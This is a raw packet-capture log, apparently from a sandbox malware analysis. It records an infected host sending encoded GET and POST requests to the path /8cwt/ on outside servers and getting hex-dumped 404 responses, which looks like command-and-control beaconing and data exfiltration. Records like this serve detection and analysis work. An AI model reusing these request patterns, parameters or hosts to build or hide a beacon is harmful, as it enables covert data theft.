519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r [TRUNCATED]
Jun 4, 2024 14:22:47.265599966 CEST	300	IN	Data Raw: b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 ea c5 69 Data Ascii: -%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.11.30	49914	162.43.104.164	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:22:49.764624119 CEST	432	OUT	GET /8cwt/?24eluX=l+yNdBmIbZk94DyhKMCQgPu5et7F5Fjr+MUK0mOzdhwjPjmD5w+n15/KVowCPgtS4Y9yjKxUIxHTxuQuQfpR6KughRwQexCRaaEyjIZ4vPoy+iMgbgX/vtU=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.shun-yamagata.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:22:50.039150953 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 04 Jun 2024 12:22:48 GMT Content-Type: text/html Content-Length: 2814 Connection: close Vary: Accept-Encoding Last-Modified: Tue, 25 Jul 2023 10:57:57 GMT ETag: "afe-6014d9a904f4f" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"><head><meta charset="EUC-JP" /><title>404 File Not Found</title><meta name="copyright" content="Copyright XSERVER Inc."><meta name="robots" content="INDEX,FOLLOW" /><meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0"><style type="text/css">* { margin: 0; padding: 0;}img { border: 0;}ul { padding-left: 2em;}html { overflow-y: scroll; background: #3b79b7;}body { font-family: "", Meiryo, " ", "MS PGothic", " Pro W3", "Hiragino Kaku Gothic Pro", sans-serif; margin: 0; line-height: 1.4; font-size: 75%; text-align: center; color: white;}h1 { font-size: 24px; font-weight: bold;}h1 { font-weight: bold; line-height: 1; padding-bottom: 20px; font-family: Helvetica, sans-serif;}h2 { text-align: center; font-weight: bold; font-size: 27px;}p { text-align: center; font-size: 14px; margin: 0; [TRUNCATED]
Jun 4, 2024 14:22:50.039277077 CEST	1289	IN	Data Raw: 70 6c 61 69 6e 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 66 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 66 3b 0a 20 20 20 20 6c 69 6e Data Ascii: plain { border-top: 1px solid #fff; border-bottom: 1px solid #fff; line-height: 1.5; margin: 30px auto; padding: 17px;}#cause { text-align: left;}#cause li { color: #666;}h3 { letter-spacing: 1px; font
Jun 4, 2024 14:22:50.039295912 CEST	476	IN	Data Raw: a5 b8 a4 cf b8 ab a4 c4 a4 ab a4 ea a4 de a4 bb a4 f3 a4 c7 a4 b7 a4 bf a1 a3 3c 2f 68 32 3e 0a 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 65 78 70 6c 61 69 6e 22 3e a4 b3 a4 ce a5 a8 a5 e9 a1 bc a4 cf a1 a2 bb d8 c4 ea a4 b7 a4 bf a5 da a1 bc a5 Data Ascii: </h2> <p class="explain"></p> <h3></h3> <div id="white_box"> <div id="cause"> <ul>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.11.30	49915	93.125.99.134	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:23:03.499651909 CEST	680	OUT	POST /8cwt/ HTTP/1.1 Host: www.brongal.by Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.brongal.by Referer: http://www.brongal.by/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 37 4a 63 51 37 6f 49 41 62 76 67 52 52 33 79 37 58 38 55 4c 53 55 54 39 43 45 42 6e 74 33 79 56 66 70 4e 35 66 61 4b 61 42 68 6a 47 6d 4e 71 78 6c 75 67 35 72 72 43 55 5a 47 4c 33 57 4c 6f 6e 75 34 45 4c 4f 62 36 62 53 68 68 49 61 64 57 4c 72 52 50 2b 61 6e 56 37 4c 50 32 71 2b 58 4a 69 6c 4c 78 53 71 30 65 41 6b 63 36 39 48 78 42 61 63 48 37 72 6b 71 54 44 48 55 68 63 69 6f 5a 34 6b 47 55 50 31 6e 59 57 72 49 2b 58 6a 76 61 51 46 30 74 6d 64 54 35 6a 6e 50 47 30 39 2b 63 4e 72 46 4b 54 34 45 42 58 62 43 57 76 4e 71 68 48 79 69 6b 6b 65 71 64 36 5a 61 66 71 37 75 57 42 37 67 3d 3d Data Ascii: 24eluX=7JcQ7oIAbvgRR3y7X8ULSUT9CEBnt3yVfpN5faKaBhjGmNqxlug5rrCUZGL3WLonu4ELOb6bShhIadWLrRP+anV7LP2q+XJilLxSq0eAkc69HxBacH7rkqTDHUhcioZ4kGUP1nYWrI+XjvaQF0tmdT5jnPG09+cNrFKT4EBXbCWvNqhHyikkeqd6Zafq7uWB7g==
Jun 4, 2024 14:23:04.067943096 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:23:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 2cc_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://brongal.by/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache content-encoding: gzip vary: Accept-Encoding x-turbo-charged-by: LiteSpeed Data Raw: 33 33 63 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 93 e3 46 92 d8 e7 66 84 fe 43 0d e4 ed 26 25 00 04 c0 37 d9 6c ad 34 92 76 65 cf 48 b2 66 e6 b4 be e9 09 46 11 28 92 e8 01 01 2c 0a ec 87 5a 8c d8 dd b3 cf 1f 7c 11 b6 c3 1f 1c 61 47 d8 71 1f fd 4d be 5d 9d f7 ee 56 fa e0 5f c0 f9 47 8e ac 07 50 20 41 36 fb b1 d6 ee 85 26 24 36 59 8f cc ac ac ac ac ac 47 66 1d 3f f2 22 37 bd 8a 09 9a a5 f3 e0 a4 72 0c 7f 50 80 c3 e9 50 4b 16 c6 17 2f 34 48 23 d8 3b a9 1c 1c cf 49 8a 91 3b c3 09 25 e9 50 7b f1 fc 63 a3 ab 65 e9 21 9e 93 a1 76 ee 93 8b 38 4a 52 0d b9 51 98 92 30 1d 6a 17 be 97 ce 86 1e 39 f7 5d 62 b0 1f 3a f2 43 3f f5 71 60 50 17 07 64 68 33 28 81 1f be 46 09 09 86 5a 9c 44 13 3f 20 1a 9a 25 64 32 d4 66 69 1a d3 7e bd 3e 9d c7 53 33 4a a6 f5 cb 49 58 b7 79 25 46 12 43 7d 94 44 e3 28 a5 47 19 e2 a3 30 f2 43 8f 5c ea 68 12 05 41 74 71 84 ea 27 95 ca c1 f1 23 c3 40 cf 67 3e 45 d4 4f 09 f2 29 8a e2 d4 9f fb 5f 11 0f 5d f8 e9 0c a5 33 82 fe 4d 84 69 8a 9e 7d f4 19 8a 83 c5 d4 0f d1 b9 e3 98 0d 64 20 [TRUNCATED] Data Ascii: 33cb}kFfC&%7l4veHfF(,Z\|aGqM]V_GP A6&$6YGf?"7rPPK/4H#;I;%P{ce!v8JRQ0j9]b:C?q`Pdh3(FZD? %d2fi~>S3JIXy%FC}D(G0C\hAtq'#@g>EO)_]3Mi}d I0h^/Nu^)03do~WoV~Wwo?~!}Du^K2<N$P )M/^h4?RvlzQ$k8\|~3rLPc4;#slLkLz.S>/OykCk_3?%{J19}A@k$(/kX_5Q5M8$Zz(5\[ZqT3k)N$eE>SNs2BP*M})9JI24$W`oB~!66hWOp8])`jaLm.1z_W~V~n=\}5_Yt3+oVt7h\|dq
Jun 4, 2024 14:23:04.067985058 CEST	1289	IN	Data Raw: 25 2d db d5 80 3a 97 c2 3a 00 ad fb 00 a9 be 0b fd 45 6c 08 35 58 5f c4 41 84 3d 5a 77 2c a7 59 b7 1a 75 d1 57 06 40 b2 4d 7a 0e 52 2d ca be d8 26 9b b7 04 c7 74 ad d6 6f 77 74 6d 46 fc e9 2c d5 fa 0d 5b d7 5c 1c 73 e9 d3 ee cb f8 a5 ae 31 1e ec Data Ascii: %-::El5X_A=Zw,YuW@MzR-&towtmF,[\s1e<[._-\|T\&q65y!5LHpT4WL5$aw/E4@oVOEH{x0_aI_~vw;q)+IF_]3IS?R4D
Jun 4, 2024 14:23:04.068135023 CEST	1289	IN	Data Raw: 57 ab 6a ef be 5c 9b 85 69 4d 5f 28 65 f4 58 f9 f1 ca 3c 8b fc b0 aa e9 5a ed 5d ad 56 1b 68 7a c2 c4 09 50 56 5f 92 57 fa 35 28 8e be 06 23 b3 7e 86 cf b1 18 1f 4b 18 de a0 17 b8 42 a9 96 b4 a5 9a d4 f4 6b 58 b3 f5 b5 8b 18 3a 81 8f 02 29 fd f9 Data Ascii: Wj\iM_(eX<Z]VhzPV_W5(#~KBkX:)=\|(6BFjn519H>Va\+]E'U/V[l30(&QRec!"\|L_T\|eCpTRd0F-,=4?)h#[>A0jjAk5EJ
Jun 4, 2024 14:23:04.068185091 CEST	1289	IN	Data Raw: 6e 8e dd 6e e8 d0 d9 b6 73 a3 18 cd 7d 2f 04 75 b8 1b 87 de d0 6d a7 97 c1 6f 5a ba 6d b7 75 a7 b5 a5 f7 32 b3 c4 30 e8 1c 07 41 1f d9 8d f8 72 4d 1f 2b 85 c0 92 83 c1 e7 58 bb 4a 05 70 80 d9 47 8d f6 ae 42 97 86 28 d6 74 36 8a d1 18 bb 7e 38 35 Data Ascii: nns}/umoZmu20ArM+XJpGB(t6~85#l62_#+`EEV;[ovh[}"fJiKa8]$8v\|M>aax}d^hY%jNsYE+V7?<5=kau6;kebFR5}j
Jun 4, 2024 14:23:04.068300009 CEST	1289	IN	Data Raw: 69 b2 94 a6 92 d2 62 29 2d 25 a5 cd 52 da 4a 4a 87 a5 74 94 94 2e 4b e9 2a 29 3d 96 d2 cb 52 3a 8f 39 a9 ef 3e 0b f0 f8 cf 82 de a7 c0 7a 92 24 38 fd d3 27 f7 f0 6d ab d1 1d 88 fb 03 43 7a 81 63 9e 42 17 63 88 a6 e1 5e 25 7e 10 f8 2e 4f cc 7c 52 Data Ascii: ib)-%RJJt.K*)=R:9>z$8'mCzcBc^%~.O\|Rw-N!"IS.GIDiS?<Qe,wy;+0>{X{/}<Hbg{OuC^QD2J!>y\)NS<5hs'U"pC(\\\
Jun 4, 2024 14:23:04.068320990 CEST	1289	IN	Data Raw: 80 5c 7a 39 1e e4 ff 8e f1 9a 3d 9c 9b b0 52 4c 0f 0e 8e fd f9 54 4e 68 ed 8e 86 e4 34 d7 b0 b5 e2 94 99 57 06 fb 77 7d 99 be 3d 9c 93 54 85 38 4d b1 3b 03 2f 58 63 b2 08 02 04 0e 80 fc 1b 84 a8 81 10 52 b0 12 ef 68 08 07 e9 50 83 59 4b b6 84 a9 Data Ascii: \z9=RLTNh4Ww}=T8M;/XcRhPYK;={JWPUvnH.4F9@)'t168R%@(p,3h`{eFMAyxLISF7o,J@<Ybf(/40Sqz>y$S
Jun 4, 2024 14:23:04.068348885 CEST	1289	IN	Data Raw: b9 3e 0e 98 5d 40 47 10 3d 7f e4 fa 89 1b 90 11 04 92 1d 91 c9 84 9d 4e b2 ad 5a b0 f5 05 82 9b 17 db 1c 8d d8 c7 bc 0d b2 fb ac c3 e0 88 85 1d 5d a1 67 ac 59 e8 13 37 0a 29 fa 12 1e 05 78 cc 9a 85 3e f6 83 00 7d c4 9a c5 23 fc 1f f0 73 50 38 2d Data Ascii: >]@G=NZ]gY7)x>}#sP8-b 4He\+Es?%$,4sq_El4@`t wmx#mrG\|yg5: 6?v9=Vng-wDcnqdu1%z9-{74N
Jun 4, 2024 14:23:04.068368912 CEST	1289	IN	Data Raw: 2a 05 6e 1f c8 8b 0d 88 0f 70 b9 b5 21 9e 1e e0 11 e9 f9 d2 43 c4 75 84 88 9a 76 0b 64 19 d4 c1 da 3d 37 24 2e ba f1 35 df 9e e3 ad a0 17 58 94 c9 6d 5a 21 5f 6e 58 d6 f9 0c 28 90 ea c8 b8 54 15 92 32 c8 40 74 d7 77 6c 10 62 11 2e 3d 3f 21 ec 19 Data Ascii: np!Cuvd=7$.5XmZ!_nX(T2@twlb.=?!>w{FAFee6)'L;lu8,Dh}ho]l)g*KN/4VJ(wcKg\|trpC\^EXCnAM+wHzo46?f^#$aX
Jun 4, 2024 14:23:04.068387032 CEST	1289	IN	Data Raw: 53 71 eb 63 bd 57 76 63 5b c4 6b b8 58 e3 64 a3 95 1b cf 05 8c 42 02 b8 fb 1f 53 c9 4c d4 84 f8 f3 08 21 e2 07 74 66 14 42 ac 8f 4c 04 d7 c4 86 db 9c 4a 37 1f 1c 28 1c ce 79 0d df 0a 3c 28 99 b4 37 3a b9 08 4a b4 ab 08 73 03 ae dc 5e cb 6c 8c 92 Data Ascii: SqcWvc[kXdBSL!tfBLJ7(y<(7:Js^lbnO<,`Zx(L\"qa/eKdy_Jg#X-dXoW"`Z@S4WS`.j'?1[j"k*<W:loCSJ%p.[KG
Jun 4, 2024 14:23:04.068516016 CEST	1289	IN	Data Raw: ba 04 8e 54 ec 6e b8 05 25 9c 4d e4 25 b8 cf 8b 76 52 b9 88 4d 86 81 92 f4 49 e4 e2 80 7c 88 53 5c 45 d7 88 85 f2 43 99 23 ee e9 c2 b2 ac 66 90 26 47 7d f4 12 1d c1 17 f4 0a 2d 51 6d 90 3f fa 95 cd 54 80 2b 1f 9e f0 8e 66 36 18 ce a8 c1 bd 2a b5 Data Ascii: Tn%M%vRMI\|S\EC#f&G}-Qm?T+f6*9NPJIxF1{`"xFgSi1<Z.ZVmiH5t~T1^hWuMB]vumkt@?%EfLKQH'}ck3LGnSh}x
Jun 4, 2024 14:23:04.068536997 CEST	860	IN	Data Raw: 64 5c 83 70 10 0c 5c 73 a2 e9 1a 7b fb 0f 5a df d1 35 61 cd 8e 0a 69 32 c0 96 d6 d7 e6 f8 52 63 ac 15 6f f8 66 4b 4c 71 2d 96 5c a6 09 7e b8 f6 f3 d1 ac b2 89 b3 8f b3 72 ab 72 bc 37 2f ba 20 12 6b bc e0 69 3b 79 c1 2c 3f 58 c4 b1 57 5f 37 d8 c0 Data Ascii: d\p\s{Z5ai2RcofKLq-\~rr7/ ki;y,?XW_77Xesxrw~-^rr[jcmH#T.an\|v{#x^d\iQ9\lN"7+/1Y1=;DtC\|: ,IB_A)<fz

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.11.30	49916	93.125.99.134	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:23:06.288086891 CEST	700	OUT	POST /8cwt/ HTTP/1.1 Host: www.brongal.by Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.brongal.by Referer: http://www.brongal.by/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 37 4a 63 51 37 6f 49 41 62 76 67 52 53 57 43 37 59 37 67 4c 56 30 54 79 62 45 42 6e 6b 58 79 5a 66 70 42 35 66 62 65 4b 41 54 33 47 6c 76 43 78 6b 71 4d 35 6d 4c 43 55 54 6d 4c 32 49 37 6f 73 75 34 59 74 4f 62 47 62 53 68 31 49 61 5a 65 4c 72 69 6e 39 41 58 56 35 53 2f 32 6f 39 6e 4a 69 6c 4c 78 53 71 33 6a 72 6b 64 53 39 48 41 78 61 65 69 48 6f 75 4b 54 45 41 55 68 63 70 49 5a 30 6b 47 56 71 31 6a 42 37 72 4b 32 58 6a 72 53 51 43 6c 74 68 54 6a 35 6c 71 76 48 30 36 74 6b 43 7a 6d 4b 56 2b 46 31 61 5a 7a 53 61 42 64 51 64 76 68 51 6d 4e 4b 68 58 46 62 79 43 35 73 58 61 6d 6b 36 42 38 30 30 54 39 70 72 65 30 36 54 52 4a 71 31 62 70 5a 73 3d Data Ascii: 24eluX=7JcQ7oIAbvgRSWC7Y7gLV0TybEBnkXyZfpB5fbeKAT3GlvCxkqM5mLCUTmL2I7osu4YtObGbSh1IaZeLrin9AXV5S/2o9nJilLxSq3jrkdS9HAxaeiHouKTEAUhcpIZ0kGVq1jB7rK2XjrSQClthTj5lqvH06tkCzmKV+F1aZzSaBdQdvhQmNKhXFbyC5sXamk6B800T9pre06TRJq1bpZs=
Jun 4, 2024 14:23:06.860879898 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 2cc_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://brongal.by/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache content-encoding: gzip vary: Accept-Encoding x-turbo-charged-by: LiteSpeed Data Raw: 33 33 63 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 93 e3 46 92 d8 e7 66 84 fe 43 0d e4 ed 26 25 00 04 c0 37 d9 6c ad 34 92 76 65 cf 48 b2 66 e6 b4 be e9 09 46 11 28 92 e8 01 01 2c 0a ec 87 5a 8c d8 dd b3 cf 1f 7c 11 b6 c3 1f 1c 61 47 d8 71 1f fd 4d be 5d 9d f7 ee 56 fa e0 5f c0 f9 47 8e ac 07 50 20 41 36 fb b1 d6 ee 85 26 24 36 59 8f cc ac ac ac ac ac 47 66 1d 3f f2 22 37 bd 8a 09 9a a5 f3 e0 a4 72 0c 7f 50 80 c3 e9 50 4b 16 c6 17 2f 34 48 23 d8 3b a9 1c 1c cf 49 8a 91 3b c3 09 25 e9 50 7b f1 fc 63 a3 ab 65 e9 21 9e 93 a1 76 ee 93 8b 38 4a 52 0d b9 51 98 92 30 1d 6a 17 be 97 ce 86 1e 39 f7 5d 62 b0 1f 3a f2 43 3f f5 71 60 50 17 07 64 68 33 28 81 1f be 46 09 09 86 5a 9c 44 13 3f 20 1a 9a 25 64 32 d4 66 69 1a d3 7e bd 3e 9d c7 53 33 4a a6 f5 cb 49 58 b7 79 25 46 12 43 7d 94 44 e3 28 a5 47 19 e2 a3 30 f2 43 8f 5c ea 68 12 05 41 74 71 84 ea 27 95 ca c1 f1 23 c3 40 cf 67 3e 45 d4 4f 09 f2 29 8a e2 d4 9f fb 5f 11 0f 5d f8 e9 0c a5 33 82 fe 4d 84 69 8a 9e 7d f4 19 8a 83 c5 d4 0f d1 b9 e3 98 0d 64 20 [TRUNCATED] Data Ascii: 33cb}kFfC&%7l4veHfF(,Z\|aGqM]V_GP A6&$6YGf?"7rPPK/4H#;I;%P{ce!v8JRQ0j9]b:C?q`Pdh3(FZD? %d2fi~>S3JIXy%FC}D(G0C\hAtq'#@g>EO)_]3Mi}d I0h^/Nu^)03do~WoV~Wwo?~!}Du^K2<N$P )M/^h4?RvlzQ$k8\|~3rLPc4;#slLkLz.S>/OykCk_3?%{J19}A@k$(/kX_5Q5M8$Zz(5\[ZqT3k)N$eE>SNs2BP*M})9JI24$W`oB~!66hWOp8])`jaLm.1z_W~V~n=\}5_Yt3+oVt7h\|dq
Jun 4, 2024 14:23:06.861012936 CEST	1289	IN	Data Raw: 25 2d db d5 80 3a 97 c2 3a 00 ad fb 00 a9 be 0b fd 45 6c 08 35 58 5f c4 41 84 3d 5a 77 2c a7 59 b7 1a 75 d1 57 06 40 b2 4d 7a 0e 52 2d ca be d8 26 9b b7 04 c7 74 ad d6 6f 77 74 6d 46 fc e9 2c d5 fa 0d 5b d7 5c 1c 73 e9 d3 ee cb f8 a5 ae 31 1e ec Data Ascii: %-::El5X_A=Zw,YuW@MzR-&towtmF,[\s1e<[._-\|T\&q65y!5LHpT4WL5$aw/E4@oVOEH{x0_aI_~vw;q)+IF_]3IS?R4D
Jun 4, 2024 14:23:06.861027956 CEST	1289	IN	Data Raw: 57 ab 6a ef be 5c 9b 85 69 4d 5f 28 65 f4 58 f9 f1 ca 3c 8b fc b0 aa e9 5a ed 5d ad 56 1b 68 7a c2 c4 09 50 56 5f 92 57 fa 35 28 8e be 06 23 b3 7e 86 cf b1 18 1f 4b 18 de a0 17 b8 42 a9 96 b4 a5 9a d4 f4 6b 58 b3 f5 b5 8b 18 3a 81 8f 02 29 fd f9 Data Ascii: Wj\iM_(eX<Z]VhzPV_W5(#~KBkX:)=\|(6BFjn519H>Va\+]E'U/V[l30(&QRec!"\|L_T\|eCpTRd0F-,=4?)h#[>A0jjAk5EJ
Jun 4, 2024 14:23:06.861057043 CEST	1289	IN	Data Raw: 6e 8e dd 6e e8 d0 d9 b6 73 a3 18 cd 7d 2f 04 75 b8 1b 87 de d0 6d a7 97 c1 6f 5a ba 6d b7 75 a7 b5 a5 f7 32 b3 c4 30 e8 1c 07 41 1f d9 8d f8 72 4d 1f 2b 85 c0 92 83 c1 e7 58 bb 4a 05 70 80 d9 47 8d f6 ae 42 97 86 28 d6 74 36 8a d1 18 bb 7e 38 35 Data Ascii: nns}/umoZmu20ArM+XJpGB(t6~85#l62_#+`EEV;[ovh[}"fJiKa8]$8v\|M>aax}d^hY%jNsYE+V7?<5=kau6;kebFR5}j
Jun 4, 2024 14:23:06.861170053 CEST	1289	IN	Data Raw: 69 b2 94 a6 92 d2 62 29 2d 25 a5 cd 52 da 4a 4a 87 a5 74 94 94 2e 4b e9 2a 29 3d 96 d2 cb 52 3a 8f 39 a9 ef 3e 0b f0 f8 cf 82 de a7 c0 7a 92 24 38 fd d3 27 f7 f0 6d ab d1 1d 88 fb 03 43 7a 81 63 9e 42 17 63 88 a6 e1 5e 25 7e 10 f8 2e 4f cc 7c 52 Data Ascii: ib)-%RJJt.K*)=R:9>z$8'mCzcBc^%~.O\|Rw-N!"IS.GIDiS?<Qe,wy;+0>{X{/}<Hbg{OuC^QD2J!>y\)NS<5hs'U"pC(\\\
Jun 4, 2024 14:23:06.861196041 CEST	1289	IN	Data Raw: 80 5c 7a 39 1e e4 ff 8e f1 9a 3d 9c 9b b0 52 4c 0f 0e 8e fd f9 54 4e 68 ed 8e 86 e4 34 d7 b0 b5 e2 94 99 57 06 fb 77 7d 99 be 3d 9c 93 54 85 38 4d b1 3b 03 2f 58 63 b2 08 02 04 0e 80 fc 1b 84 a8 81 10 52 b0 12 ef 68 08 07 e9 50 83 59 4b b6 84 a9 Data Ascii: \z9=RLTNh4Ww}=T8M;/XcRhPYK;={JWPUvnH.4F9@)'t168R%@(p,3h`{eFMAyxLISF7o,J@<Ybf(/40Sqz>y$S
Jun 4, 2024 14:23:06.861237049 CEST	1289	IN	Data Raw: b9 3e 0e 98 5d 40 47 10 3d 7f e4 fa 89 1b 90 11 04 92 1d 91 c9 84 9d 4e b2 ad 5a b0 f5 05 82 9b 17 db 1c 8d d8 c7 bc 0d b2 fb ac c3 e0 88 85 1d 5d a1 67 ac 59 e8 13 37 0a 29 fa 12 1e 05 78 cc 9a 85 3e f6 83 00 7d c4 9a c5 23 fc 1f f0 73 50 38 2d Data Ascii: >]@G=NZ]gY7)x>}#sP8-b 4He\+Es?%$,4sq_El4@`t wmx#mrG\|yg5: 6?v9=Vng-wDcnqdu1%z9-{74N
Jun 4, 2024 14:23:06.861248970 CEST	1289	IN	Data Raw: 2a 05 6e 1f c8 8b 0d 88 0f 70 b9 b5 21 9e 1e e0 11 e9 f9 d2 43 c4 75 84 88 9a 76 0b 64 19 d4 c1 da 3d 37 24 2e ba f1 35 df 9e e3 ad a0 17 58 94 c9 6d 5a 21 5f 6e 58 d6 f9 0c 28 90 ea c8 b8 54 15 92 32 c8 40 74 d7 77 6c 10 62 11 2e 3d 3f 21 ec 19 Data Ascii: np!Cuvd=7$.5XmZ!_nX(T2@twlb.=?!>w{FAFee6)'L;lu8,Dh}ho]l)g*KN/4VJ(wcKg\|trpC\^EXCnAM+wHzo46?f^#$aX
Jun 4, 2024 14:23:06.861298084 CEST	1289	IN	Data Raw: 53 71 eb 63 bd 57 76 63 5b c4 6b b8 58 e3 64 a3 95 1b cf 05 8c 42 02 b8 fb 1f 53 c9 4c d4 84 f8 f3 08 21 e2 07 74 66 14 42 ac 8f 4c 04 d7 c4 86 db 9c 4a 37 1f 1c 28 1c ce 79 0d df 0a 3c 28 99 b4 37 3a b9 08 4a b4 ab 08 73 03 ae dc 5e cb 6c 8c 92 Data Ascii: SqcWvc[kXdBSL!tfBLJ7(y<(7:Js^lbnO<,`Zx(L\"qa/eKdy_Jg#X-dXoW"`Z@S4WS`.j'?1[j"k*<W:loCSJ%p.[KG
Jun 4, 2024 14:23:06.861452103 CEST	1289	IN	Data Raw: ba 04 8e 54 ec 6e b8 05 25 9c 4d e4 25 b8 cf 8b 76 52 b9 88 4d 86 81 92 f4 49 e4 e2 80 7c 88 53 5c 45 d7 88 85 f2 43 99 23 ee e9 c2 b2 ac 66 90 26 47 7d f4 12 1d c1 17 f4 0a 2d 51 6d 90 3f fa 95 cd 54 80 2b 1f 9e f0 8e 66 36 18 ce a8 c1 bd 2a b5 Data Ascii: Tn%M%vRMI\|S\EC#f&G}-Qm?T+f6*9NPJIxF1{`"xFgSi1<Z.ZVmiH5t~T1^hWuMB]vumkt@?%EfLKQH'}ck3LGnSh}x
Jun 4, 2024 14:23:06.861591101 CEST	860	IN	Data Raw: 64 5c 83 70 10 0c 5c 73 a2 e9 1a 7b fb 0f 5a df d1 35 61 cd 8e 0a 69 32 c0 96 d6 d7 e6 f8 52 63 ac 15 6f f8 66 4b 4c 71 2d 96 5c a6 09 7e b8 f6 f3 d1 ac b2 89 b3 8f b3 72 ab 72 bc 37 2f ba 20 12 6b bc e0 69 3b 79 c1 2c 3f 58 c4 b1 57 5f 37 d8 c0 Data Ascii: d\p\s{Z5ai2RcofKLq-\~rr7/ ki;y,?XW_77Xesxrw~-^rr[jcmH#T.an\|v{#x^d\iQ9\lN"7+/1Y1=;DtC\|: ,IB_A)<fz

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.11.30	49917	93.125.99.134	80

Timestamp	Bytes transferred	Direction	Data
